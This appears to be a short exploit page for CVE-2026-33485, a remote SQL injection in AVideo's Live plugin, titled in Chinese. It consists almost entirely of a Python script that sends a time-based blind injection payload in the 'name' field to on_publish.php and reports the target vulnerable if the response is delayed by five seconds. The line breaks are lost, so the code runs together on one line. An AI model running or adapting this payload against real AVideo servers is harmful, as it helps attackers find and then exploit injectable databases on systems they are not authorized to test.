CVE-2026-33485: AVideo远程SQL注入漏洞

import requests import time # Target URL # Replace with the actual target URL target_url = "http://example.com/plugin/Live/on_publish.php" # Payload for time-based blind SQL injection # This payload attempts to cause a delay of 5 seconds if the condition is true payload = { "name": "' OR (SELECT SLEEP(5))-- -" } try: print("[*] Sending payload to target...") start_time = time.time() response = requests.post(target_url, data=payload, timeout=10) end_time = time.time() elapsed_time = end_time - start_time if elapsed_time >= 5: print(f"[+] Vulnerability confirmed! Response took {elapsed_time:.2f} seconds.") else: print(f"[-] Vulnerability not detected or patched. Response took {elapsed_time:.2f} seconds.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")